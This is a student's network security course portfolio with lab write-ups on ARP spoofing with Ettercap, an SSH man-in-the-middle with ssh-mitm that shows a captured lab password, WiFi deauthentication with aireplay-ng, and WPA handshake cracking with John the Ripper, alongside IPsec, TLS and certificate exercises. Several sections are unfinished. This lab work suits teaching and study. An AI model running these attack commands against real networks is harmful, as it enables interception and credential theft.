

---

# Semester Learning Portfolio

---

Alexander Schandorf Sumczynski

October 26, 2025

## ABSTRACT

this is the firewall-friendly

## Contents

1	Authentication + Link Layer Security: Lecture One .....	2
1.1	Notes leacure one .....	2
1.2	Network Security Assignment part 1 .....	2
1.3	Network Security Assignment part 2 .....	3
2	TCP/IP Internet Layer Security .....	4
2.1	Assignment Experiencing IPsec (Group) part one .....	4
2.2	Assignment VPN part two .....	7
3	Transport Layer Security (TLS) + Secure Shell (SSH) .....	8
3.1	Assignment TLS Cipher Suite (Individual) + Analyze their components .....	8
3.2	Assignment SSH MITM attack (Individual) .....	9
4	WiFi security .....	11
4.1	Assignment WiFi (Group) .....	11
4.2	Assignment Wi-Fi Attack Names .....	13
5	Cryptographic Key Management and Key Distribution + X.509 Certificates .....	14
5.1	Assignment: Trusted Root Certificates .....	14
5.2	Assignment: What's My Chain Cert? .....	15
5.3	Assignment: Explore Certificate Transparency (CT) Logs .....	16
6	Digital Signature & Bitcoin .....	17
6.1	RSA challenges for signing .....	17
7	Appendix section .....	18

# 1 Authentication + Link Layer Security: Lecture One

## 1.1 Notes leacure one

**Notes.** (Remote User - Authentication using Asymmetric Encryption):

$A \rightarrow AS : ID_A \parallel ID_B$   
 $AS \rightarrow A : E(PR_{as}, [ID_A \parallel PU_a \parallel T]) \parallel E(PR_{as}, [ID_B \parallel PU_b \parallel T])$   
 $A \rightarrow B : E(PR_{as}, [ID_A \parallel PU_a \parallel T]) \parallel E(PR_{as}, [ID_B \parallel PU_b \parallel T]) \parallel E(PU_b, E(PR_a, [K_s \parallel T]))$   
 $A \rightarrow KDC : ID_A \parallel ID_B$   
 $KDC \rightarrow A : E(PR_{auth}, [ID_B \parallel PU_b])$   
 $A \rightarrow B : E(PU_b, [N_a \parallel ID_A])$   
 $B \rightarrow KDC : ID_A \parallel ID_B \parallel E(PU_{auth}, N_a)$   
 $KDC \rightarrow B : E(PR_{auth}, [ID_A \parallel PU_a]) \parallel E(PU_b, E(PR_{auth}, [N_a \parallel K_s \parallel ID_A \parallel ID_B]))$   
 $B \rightarrow A : E(PU_a, [N_b \parallel E(PR_{auth}, [N_a \parallel K_s \parallel ID_A \parallel ID_B])])$   
 $A \rightarrow B : E(K_s, N_b)$

## 1.2 Network Security Assignment part 1

**Assignment.**

**Objective:** Research and write a concise paragraph about techniques used to mitigate ARP spoofing and Spanning Tree Protocol (STP) attacks (Layer 2 attacks). Please write details on how the chosen technique detects and prevents the attack, and any potential limitations they may have in a network environment. Please also mention your opinion about the complexity of the techniques you found.

**Answer.** (ARP Spoofing Mitigation):

- 1) **Static ARP entries:** Using static entries in the ARP table means the IP-MAC mapping cannot be altered by ARP spoofing. The limitation is that when a new device joins the network, its IP-MAC pair must be manually added to the ARP tables of the relevant devices. its nice that i can setup this in a static mac adreses but let say that i ahve to do this for a capnut and maitnign this so alle vesties are update date and
- 2) **Dynamic ARP Inspection (DAI):** Is a technique where the switches are configured to map each device in the network to a specific IP-MAC pair. If an ARP spoofing attack occurs, then the switch detects that there is an unauthorized ARP request. The limitation of this method is that the switch must be set up with DAI and must be a supported type of switch. This is a better solution than the static assigning since there is a dynamic system in the switches that can help manage the ARP spoofing attacks instead of manually setting each device.
- 3) **XArp:** Is an anti-spoofing software that can detect if an ARP spoofing attack is being performed on a target system that has installed the XArp on the system, and this is the limitation—that I have to install the XArp and make sure that it's up to date and has no vulnerabilities in this program.

**Answer.** (STP Attacks Mitigation):

- 1) **BPDU Guard** is a security feature that automatically puts a PortFast-configured access port into an error-disabled state when it receives any BPDU, protecting the STP domain from rogue switches or misconfiguration
- 2) **Root Guard** is a security feature that prevents non-root ports from becoming root ports by placing them into a root-inconsistent state if they receive superior BPDUs, ensuring the STP topology remains stable and protecting the network from rogue root bridge elections.

### 1.3 Network Security Assignment part 2 Assignment.

**Objective:** In this assignment we are going to emulate a Man-in-the-Middle (MITM) attack using this network topology.

As an attacker we should connect to the switch to be able to communicate with the target/victim hosts. From now on, we refer to our two targets hosts as victims.

**Answer.** (Experiencing Layer 2 attacks):

- 1) The setup I have is two lightweight Lubuntu systems and a Kali Linux where the Man-in-the-Middle attack will be performed. The network is connected to a NAT network through my local machine.

```

root@vboxClone:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:57:e3:0b brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.4/24 brd 10.0.2.255 scope global dynamic enp0s3
        valid_lft 308sec preferred_lft 308sec
    inet6 fe80::a00:27ff:fe57:e30b/64 scope link
        valid_lft forever preferred_lft forever
root@vboxClone:~# arp -a
root@vboxClone:~# ping -c
root@vboxClone:~# ping -c
root@vboxClone:~# ping -c
a: Host name lookup failure
root@vboxClone:~# arp -a
? (10.0.2.15) at 08:00:27:cb:61:3b [ether] on enp0s3
? (10.0.2.1) at 52:54:00:12:35:00 [ether] on enp0s3
? (10.0.2.3) at 08:00:27:75:a2:26 [ether] on enp0s3
? (10.0.2.5) at 08:00:27:33:75:72 [ether] on enp0s3
? (10.0.2.6) at 08:00:27:d1:f8:5d [ether] on enp0s3
root@vboxClone:~# arp -a
? (10.0.2.15) at 08:00:27:cb:61:3b [ether] on enp0s3
? (10.0.2.1) at 52:54:00:12:35:00 [ether] on enp0s3
? (10.0.2.3) at 08:00:27:75:a2:26 [ether] on enp0s3
? (10.0.2.5) at 08:00:27:33:75:72 [ether] on enp0s3
? (10.0.2.6) at 08:00:27:d1:f8:5d [ether] on enp0s3
root@vboxClone:~# ping -c
root@vboxClone:~# ping -c
64 bytes from 10.0.2.4: icmp_seq=16 ttl=64 time=0.568 ms
64 bytes from 10.0.2.4: icmp_seq=17 ttl=64 time=0.635 ms
64 bytes from 10.0.2.4: icmp_seq=18 ttl=64 time=0.611 ms
64 bytes from 10.0.2.4: icmp_seq=19 ttl=64 time=0.705 ms
64 bytes from 10.0.2.4: icmp_seq=20 ttl=64 time=0.565 ms
64 bytes from 10.0.2.4: icmp_seq=21 ttl=64 time=0.738 ms
64 bytes from 10.0.2.4: icmp_seq=22 ttl=64 time=0.681 ms
64 bytes from 10.0.2.4: icmp_seq=23 ttl=64 time=0.672 ms
64 bytes from 10.0.2.4: icmp_seq=24 ttl=64 time=0.597 ms
64 bytes from 10.0.2.4: icmp_seq=25 ttl=64 time=0.606 ms
64 bytes from 10.0.2.4: icmp_seq=26 ttl=64 time=0.601 ms
64 bytes from 10.0.2.4: icmp_seq=27 ttl=64 time=0.711 ms
64 bytes from 10.0.2.4: icmp_seq=28 ttl=64 time=0.642 ms
^C
--- 10.0.2.4 ping statistics ---
28 packets transmitted, 28 received, 0% packet loss, time 27138ms
rtt min/avg/max/mdev = 0.565/0.690/1.641/0.190 ms
root@vbox:~# ping 10.0.2.4
PING 10.0.2.4 (10.0.2.4) 56(84) bytes of data:
64 bytes from 10.0.2.4: icmp_seq=1 ttl=64 time=0.695 ms
64 bytes from 10.0.2.4: icmp_seq=2 ttl=64 time=0.705 ms
64 bytes from 10.0.2.4: icmp_seq=3 ttl=64 time=0.674 ms
64 bytes from 10.0.2.4: icmp_seq=4 ttl=64 time=0.605 ms
64 bytes from 10.0.2.4: icmp_seq=5 ttl=64 time=0.639 ms
64 bytes from 10.0.2.4: icmp_seq=6 ttl=64 time=0.707 ms
64 bytes from 10.0.2.4: icmp_seq=7 ttl=64 time=0.832 ms
64 bytes from 10.0.2.4: icmp_seq=8 ttl=64 time=1.41 ms
64 bytes from 10.0.2.4: icmp_seq=9 ttl=64 time=1.10 ms
64 bytes from 10.0.2.4: icmp_seq=10 ttl=64 time=0.680 ms
64 bytes from 10.0.2.4: icmp_seq=11 ttl=64 time=0.704 ms
64 bytes from 10.0.2.4: icmp_seq=12 ttl=64 time=0.644 ms
64 bytes from 10.0.2.4: icmp_seq=13 ttl=64 time=0.600 ms
64 bytes from 10.0.2.4: icmp_seq=14 ttl=64 time=0.688 ms
64 bytes from 10.0.2.4: icmp_seq=15 ttl=64 time=0.638 ms
64 bytes from 10.0.2.4: icmp_seq=16 ttl=64 time=0.651 ms
64 bytes from 10.0.2.4: icmp_seq=17 ttl=64 time=0.517 ms

```

Figure 1: The two Lubuntu machines

In [Figure 1](#) there are the two lightweight Lubuntu machines. The right machine is performing a ping to the other machine (on the left), and the left machine is running the arp -a command to show the devices that are running on this NAT network.

- 2) The next step is to perform the ARP spoofing attack on the two targets. To do that, on the Kali machine I use the program Ettercap to scan for the two targets and select them as victims, where it will then perform the spoofing attack.




Figure 2: The two Lubuntu machines

In Figure 2, it shows how the attack is under execution, where on the left is the Lubuntu machine that performs a ping to the other Lubuntu machine (on the right). But since we have created a Man-in-the-Middle between the two targets, the traffic can now be seen on the Kali machine, as shown in the image. In this, Wireshark is capturing the traffic between the two machines.

## 2 TCP/IP Internet Layer Security

### 2.1 Assignment Experiencing IPsec (Group) part one

Group:

Alexander Sumczynski, Marcus Kolbe, Luca,

**Task 1:** In the first part of the start is setting up the two system ubuntu servers that should communicate together,

```

alice@vbox:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: enp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 52:54:00:f6:26:1c brd ff:ff:ff:ff:ff:ff
    inet 192.168.122.23/24 brd 192.168.122.255 scope global dynamic enp1s0
        valid_lft 1581sec preferred_lft 1581sec
    inet6 fe80::5054:ff:fef6:261c/64 scope link
        valid_lft forever preferred_lft forever
alice@vbox:~$ ip a^C
alice@vbox:~$ ping 192.168.122.3
PING 192.168.122.3 (192.168.122.3) 56(84) bytes of data:
 64 bytes from 192.168.122.3: icmp_seq=1 ttl=64 time=0.782 ms
 64 bytes from 192.168.122.3: icmp_seq=2 ttl=64 time=0.700 ms
 64 bytes from 192.168.122.3: icmp_seq=3 ttl=64 time=1.25 ms
 64 bytes from 192.168.122.3: icmp_seq=4 ttl=64 time=1.03 ms
 64 bytes from 192.168.122.3: icmp_seq=5 ttl=64 time=1.06 ms
 64 bytes from 192.168.122.3: icmp_seq=6 ttl=64 time=1.04 ms
^C
--- 192.168.122.3 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5039ms
rtt min/avg/max/mdev = 0.700/0.979/1.257/0.190 ms
alice@vbox:~$ _

```

Figure 3: The two Lubuntu machines: alice and bob

In Figure 3 shows how after setting up the config files that alice machine can ping the bob virtual machine

### Task 2 Pre-IPsec Capture:

In Task 2, setting up the capture traffic between the two virtual machines will first happen after some traffic has been passed through the system. Observing these packets being sent is just normal traffic that is not encrypted or anything. I can see the GET request to the Bob machine that is hosting an Apache2 service, so all the TCP handshakes and the GET/response is plain text

### Task 3 Capturing IKE:

Now starting tshark, then launching the IPsec services. This will allow the capture of the IKE (Internet Key Exchange) packets. The IPsec service is stopped first so that the initial packets can be captured.

**Question.** (What parameters are negotiated during the IKE exchange?): While observing the negotiation, several parameters are mentioned: an integrity algorithm, pseudo-random function, and the Diffie-Hellman key exchange. These different values can be seen in the payload packed

### Task 4 Capturing ESP:

**Question.** (What differences do you notice between the captured ESP packets and the plaintext packets from Task 2?): Observing the packets from Task 2 that are in plaintext, and then the packets that are encapsulated inside an ESP packet, the information is encrypted and scrambled.

**Question.** (Why is the payload data not visible in the ESP packet? (put screenshots on your report to show that)):

The payload data is not visible in the ESP packet because IPsec's Encapsulating Security Payload (ESP) protocol encrypts it.




Figure 4: ESP traffic

As seen in the [Figure 4](#) is the is the screen shot of the ESP filter

## 2.2 Assignment VPN part two

### SSL/TLS VPNs vs IPsec:

SSL/TLS VPNs are a method to establish a VPN connection over the TLS protocol. They use the HTTPS protocol to communicate and encrypt data. The way it works is that the client's packets are encapsulated inside TLS encryption and sent to the VPN server. The VPN server decrypts the packets and forwards the traffic to the final destination on behalf of the client. The response from the destination server is then returned to the VPN server, which re-encapsulates it in TLS and sends it back to the client. Since SSL/TLS VPNs operate over HTTPS, they are firewall-friendly. The SSL/TLS VPN protocol operates at the application layer. Comparing this protocol with IPsec. IPsec operates at the network layer, and therefore the protocol needs to establish a key-exchange method. There are two main methods: Internet Key Exchange (IKEv1) and Internet Key Exchange version 2 (IKEv2). Compared to IPsec, SSL/TLS VPNs are more effective at bypassing normal firewalls, since IPsec traffic can sometimes be blocked or require extra configuration.

### WireGuard vs IPsec:

The WireGuard is a more modern VPN. It uses the following protocols:

- ChaCha20 for symmetric encryption, authenticated with Poly1305,
- Curve25519 for key exchange,
- SipHash24,
- BLAKE2s for hashing,
- HKDF for key derivation.

One of the features that WireGuard is primarily designed for is its integration in the Linux kernel, which makes installation and setup easy. WireGuard uses Curve25519 to derive the key-exchange method. Another technique that WireGuard uses is frequent rotation of the session keys, which makes the protocol more secure while still maintaining the fast connection that is one of the key features of WireGuard.

To compare this protocol to IPsec: both operate in the same network stack at Layer 3, but WireGuard has a much smaller code base, whereas IPsec has a much larger code base that makes IPsec more configurable and able to run on most operating systems. This lean design also means WireGuard is easier to audit and maintain, reducing the potential attack surface compared to the more complex IPsec implementation. While IPsec supports a wide range of cipher suites and authentication methods, which contributes to its flexibility, this complexity can also lead to more configuration errors and higher administrative overhead. WireGuard, by contrast, focuses on a fixed set of modern cryptographic primitives, providing strong security with minimal configuration and typically faster connection setup.



## 3 Transport Layer Security (TLS) + Secure Shell (SSH)

### 3.1 Assignment TLS Cipher Suite (Individual) + Analyze their components

#### Review Valid Combinations of TLS Cipher Suites mentioned in the slides

- **Assignment** ‘Study the provided list of valid TLS cipher suites’:

#### 1) **Key Exchange**

In the 10 valid TLS cipher suites, three different key exchange methods are used: *RSA*, *DHE*, *ECDHE*. RSA is a method where the two parties use public keys to encrypt the symmetric key that both sides will use. DHE (Diffie-Hellman Ephemeral) is a technique where the two parties use the Diffie-Hellman algorithm to derive a shared secret key that will be used to encrypt the messages they send to each other. ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) is another method to derive a shared secret key, but this one uses elliptic curve cryptography to achieve stronger security with smaller key sizes.

#### 2) **Authentication**

RSA is a public-key algorithms. That can be used for authentication of the server, by signing secure digital messages and certificates. The security of RSA relies on the

ECDSA (Elliptic Curve Digital Signature Algorithm) works in a similar to the RSA way but is based on elliptic-curve cryptography.

#### 3) **Encryption Algorithm + Mode**

AES is a symmetric-key encryption algorithm and is the one used most often in the valid TLS cipher suites from the slides. AES is a block cipher that can use three key lengths: 128-bit, 192-bit, or 256-bit. The mode defines how the blocks of data are processed. Common modes in TLS include CBC (Cipher Block Chaining) and GCM (Galois/Counter Mode). CBC mode encrypts each block based on the previous one, while GCM mode provides both encryption and built-in integrity verification.

#### 4) **MAC Function**

Message Authentication is a method used to verify that a message truly comes from the sender the client is communicating with. Integrity ensures that the parties in a communication channel can confirm that none of the messages have been tampered with during transmission. In TLS, this is achieved using a MAC function such as SHA256 or SHA384, which creates a unique fingerprint for each message. If the message changes in any way, the fingerprint no longer matches, and the receiver can detect that the data has been altered.

#### Design 3 “Impossible” Cipher Suites + Justify Each Invalid Combination :

##### 1) **TLS\_DH\_DSA\_WITH\_AES\_128\_CBC\_SHA:**

This combination is invalid because the Diffie-Hellman (DH) and the DSA are not compatible for key exchange and authentication, since DSA is designed only to sign messages. Therefore, there is no authentication in this cipher suite.

##### 2) **TLS\_AES\_RSA\_WITH\_ECDH\_GCM\_SHA256:**

AES is a symmetric encryption algorithm and cannot be used for key exchange, while ECDH is an asymmetric key exchange method. Combining them in this order makes the suite structure incorrect and therefore an impossible combination in TLS.



### 3.2 Assignment SSH MITM attack (Individual)

First, to perform the ARP spoofing attack, the Man-in-the-Middle attack has to be prepared too, so that Ettercap GUI can be used to set the two targets and then start the Man-in-the-Middle.




Figure 5: Ettercap GUI starts the MITM




Figure 6: Bob the client





Figure 7: Alice the server

As [Figure 6](#) and [Figure 7](#) show, the server and the client have changed the MAC address to the Kali machine's MAC.

Now the Man-in-the-Middle SSH can be performed with the following command:

```
$ ssh-mitm server --remote-host 192.168.122.212
```



The screenshot shows a terminal window titled "SSH-MITM - ssh audits made simple". The window has a menu bar with "Session", "Actions", "Edit", "View", and "Help". The main content area displays the following text:

```
* Mitigation status:
mitigated
Remote auth-methods: ['publickey', 'password']
Remote authentication succeeded
Remote Address: 192.168.122.212:22
Username: alice
Password: qq1122ww
Agent: no agent

INFO i
7223e426-2f8a-428e-91f8-af9f1db0e61a
[0m - local port forwarding
SOCKS port: 46035
SOCKS4:
* socat: socat
TCP-LISTEN:LISTEN_PORT,fork
socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PO
RT,socksport=46035
* netcat: nc -X 4 -x
localhost:46035 address port
SOCKS5:
* netcat: nc -X 5 -x
localhost:46035 address port

[10/06/25 12:22:57] INFO i
7223e426-2f8a-428e-91f8-af9f1db0e61a
[0m - session started
INFO i created mirrorshell on port 34759. connect
with: ssh -p 34759 127.0.0.1
```

Figure 8: ssh-mitm

After the successful attack, 'ssh-mitm' showed some CVEs. I think these CVEs are vulnerabilities that can be exploited to make a more persistent attack. I also noticed that when I tried to connect to Alice (the server) again, I got an SSH warning saying "there's an eavesdropper, possibly a Man-in-the-Middle attack".

Exploring the hijack, I saw that I could enter the SSH session and start typing and using the shell that Bob had just started. And the typing was also showed on the Bob machine.

## 4 WiFi security

### 4.1 Assignment WiFi (Group)

I did the group assignment, but when we wanted to deauth with WiFi pineapple. So I decided to do the assignment individually, without the WiFi Pineapple, since I have my own internet adapter that can do monitor mode, I can still do the assignment.

To set up for the assignment, I used a Raspberry Pi to create a hotspot. The commands I used were:

```
$ sudo nmtui
```

After setting up the hotspot, I connected to the Raspberry Pi with my laptop and mobile phone to start traffic and start pinging each other. While the traffic was running, I started the ALFA adapter in monitor mode and started airodump-ng to capture the traffic, with the following commands:

```
$ sudo ifconfig wlan1 down
$ sudo iwconfig wlan1 mode monitor
$ sudo ifconfig wlan1 up
# to check which channel the access point is on
$ sudo airodump-ng wlan1 -c <channel>
```

Now while the traffic was running, the next step is to deauth the connected clients from the hotspot to capture the handshake.

```
$ sudo airodump-ng --bssid <bssid> -c <channel> -w capture wlan1
$ sudo aireplay-ng --deauth 100 -a C6:60:AD:1A:5E:38 wlan1
```

CH 8 ][ Elapsed: 1 min ][ 2025-10-14 11:05 ][ WPA handshake: C6:60:AD:1A:5E:38

BSSID	PWR	RXQ	Beacons	#Data,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C6:60:AD:1A:5E:38	-38	100	956	143	0	8	180	WPA2	CCMP	PSK	SanderPhone

BSSID	STATION		PWR	Rate	Lost	Frames	Notes	Probes
C6:60:AD:1A:5E:38	70:1A:B8:C5:D3:F2		-27	1e- 1e	0	182	EAPOL	

Figure 9: Captured handshake

In [Figure 9](#), shows that the handshake is captured and now the next step is to try to crack the password with the tool John the Ripper. But before cracking the password, the capture file have to be converted to a hash file that John can accept.

```
$ wpapcap2john SanderHand-01.cap > SanderHandJohon.john
$ john SanderHandJohon.john
```

```

^alexaz⚡Blazingly🔥Fast ~/notesLetchs > john SanderHandJohon.john
Warning: detected hash type "wpapsk", but the string is also recognized as "wpapsk-pmk"
Use the "--format=wpapsk-pmk" option to force loading these as that type instead
Warning: detected hash type "wpapsk", but the string is also recognized as "wpapsk-opencl"
Use the "--format=wpapsk-opencl" option to force loading these as that type instead
Warning: detected hash type "wpapsk", but the string is also recognized as "wpapsk-pmk-opencl"
Use the "--format=wpapsk-pmk-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (wpapsk, WPA/WPA2/PMF/PMKID PSK [PBKDF2-SHA1 128/128 AVX 4x])
Cost 1 (key version [0:PMKID 1:WPA 2:WPA2 3:802.11w]) is 2 for all loaded hashes
Will run 16 OpenMP threads
Note: Minimum length forced to 2 by format
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 28 candidates buffered for the current salt, minimum 64 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456789 (SanderPhone)
1g 0:00:00:00 DONE 2/3 (2025-10-14 11:08) 2.222g/s 13066p/s 13066c/s 13066C/s 123456..frodo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
^alexaz⚡Blazingly🔥Fast ~/notesLetchs >

```

Figure 10: Captured handshake

As [Figure 10](#) shows, the password is cracked and it took less then 1 second to crack the password, since the password is a weak password. This is why its important to always have a strong password on your WiFi access point, so that attackers not can easily crack the password and get access to your private network.

## 4.2 Assignment Wi-Fi Attack Names

### Man-in-the-middle attacks

This is an attack where the attacker places themselves between two parties that are communicating. The attacker can then intercept, modify, block the communication, or simply just listen to it. The attacker can perform an **SSL hijack** attack that downgrades the HTTPS protocol to HTTP, allowing them to see all communication in plain text. For example, the attacker downgrades the HTTPS login page to HTTP, and now they can see the username and password being sent.

**DNS spoofing** is a technique where the attacker has established a man-in-the-middle attack, and can then intercept DNS requests and respond with a malicious IP address. This allows them to redirect the user to a fake website — for instance, a fake Facebook login page. Even if there is an OTP (one-time password), the attacker can still design the website to look identical to the real Facebook page. When the user enters their username and password, the attacker can then perform an account takeover. This is why it is important to notice the when the bar that the URL is not correct and the URL bar is not saying: “Not secure”, and there is a lock icon with a red cross on it.

### Network injection — router / access point compromise

An attacker may target a Wi-Fi router or access point by exploiting firmware vulnerabilities, weak/default credentials, or try to inject malicious code to execute unauthorized commands gain access. Once the attacker gains administrative access they can modify firmware logic or configuration so the device behaves according to the attacker’s wishes: capturing and logging all passing traffic, altering DNS responses or creating persistent backdoors for later access.

**Deauthentication attacks** are a type of attack where the attacker sends deauthentication frames to the target device, forcing it to disconnect and after the disconnection, the target device will try to reconnect to the access point, with a WPA handshake. The attacker can then capture the handshake and try to crack the password offline.

## 5 Cryptographic Key Management and Key Distribution + X.509 Certificates

### 5.1 Assignment: Trusted Root Certificates

The two trusted root certificates I have chosen are from GoDaddy and Microsoft.

GoDaddy:

CN = Go Daddy Root Certificate Authority - G2  
O = GoDaddy.com, Inc.  
L = Scottsdale  
S = Arizona  
C = US

Microsoft:

CN = Microsoft RSA Root Certificate Authority 2017  
O = Microsoft Corporation  
C = US

1) **Who (which entity) has signed this certificate?**

Both the GoDaddy and Microsoft root certificates are self-signed. This means that these are root certificates and therefore sit at the top of the hierarchy. They are the only ones that have signed their own certificates.

2) **Why is it trusted?**

The two certificates are trusted because they are pre-installed in the operating system, allowing the OS or the browser recognize and trust these certificates automatically.

## 5.2 Assignment: What's My Chain Cert?

I decided to pick my own domain:

**softrunner.dk**

1) **How many certificates do you see in the chain?**

There is four certificates in the chain

2) 1) **For each certificate**

**Server (End-Entity) Certificate**

**Subject:** CN=softrunner.dk

**Issuer:** C=US, O=Google Trust Services, CN=WR1

**Role:** Server Certificate

- This is the website certificate issued to softrunner.dk.

2) **Intermediate Certificate**

**Subject:** C=US, O=Google Trust Services, CN=WR1

**Issuer:** C=US, O=Google Trust Services LLC, CN=GTS Root R1

**Role:** Intermediate CA

3) **Root CA Certificate**

**Subject:** C=US, O=Google Trust Services LLC, CN=GTS Root R1

**Issuer:** C=BE, O=GlobalSign nv-sa, OU=Root CA, CN=GlobalSign Root CA

**Role:** Root CA (Sub-root)

4) **Global Root Certificate**

**Subject:** C=BE, O=GlobalSign nv-sa, OU=Root CA, CN=GlobalSign Root CA

**Issuer:** Self-signed (same as Subject)

**Role:** Trusted Root CA

3) **Chain format:**

softrunner.dk (CN=softrunner.dk) → Google Trust Service (CN=WR1) → GTS Root R1 (CN=GTS Root R1) → GlobalSign Root CA (CN=GlobalSign Root CA)

4) **Which certificate in the chain expires first? And why are end-entity certificates usually valid for a much shorter period (e.g., 90 days)?**

The certificate will expire first is the server (end-entity) it will expire on the **Jan 16 01:34:01 2026 GMT**. The end-entity is usually valid for a much shorter period because shorter lifetimes reduce security risks in case the private key is compromised or misused.

5) **Compare the signature algorithms (e.g., SHA256WithRSAEncryption).**

Most of the certificates in the chain use the **sha256WithRSAEncryption** algorithm, except for the root certificate from GlobalSign, that uses **sha1WithRSAEncryption**. It might be because the root is signed in the **Sep 1 12:00:00 1998 GMT**, so maybe at its was common to use SHA-1 back then.



### 5.3 Assignment: Explore Certificate Transparency (CT) Logs

I decided to explore two domains: aau.dk and mitid.dk but i used the site: <https://cert.sh/> and the <https://platform.censys.io/>:

**Domain:** aau.dk **CA Issued:** Let's Encrypt

**Number of certificates:** Counting only the Common Name (CN) "aau.dk" and excluding subdomains, there were around 40 certificates.

**Duplicates or expired certificates:** Let's Encrypt issues both a leaf certificate and a precertificate.

**Most recent certificate logged:** The most recent certificate was issued on 2025-09-18.

---

**Domain:** mitid.dk

**CA Issued:** Let's Encrypt

**Number of certificates:** Counting only the Common Name (CN) "mitid.dk" and excluding subdomains, there were around 23 certificates.

**Duplicates or expired certificates:** Let's Encrypt issues both a leaf certificate and a precertificate, so some entries appear as duplicates.

**Most recent certificate logged:** The most recent certificate was issued on 2025-09-03.

**Why are CT (Certificate Transparency) logs important?** CT logs are important because website and people can monitor and see the history of certificates issued for their domains. This helps detect malicious or misissued certificates, and can enhance the security by making the certificate transparent.

**How could CT logs help detect mis-issued or rogue certificates?**

**Who maintains these logs, and how can they be trusted themselves?**

CT logs are maintained by independent organizations (for example, Google, Cloudflare, DigiCert, Let's Encrypt, and others).

**Can you find a phishing domain which uses a certificate?**

- Find some information about that certificate such as validity period etc. Do you see any differences between this certificate and a certificate from a valid domain (like aau.dk etc.)

I don't have more searches on the <https://platform.censys.io/> so i can't perform this task

## 6 Digital Signature & Bitcoin

### 6.1 RSA challenges for signing

**Objective:** Identify and explain at least three specific challenges of RSA that DSA aimed to address

One of the challenges that DSA tries to address

## 7 Appendix section

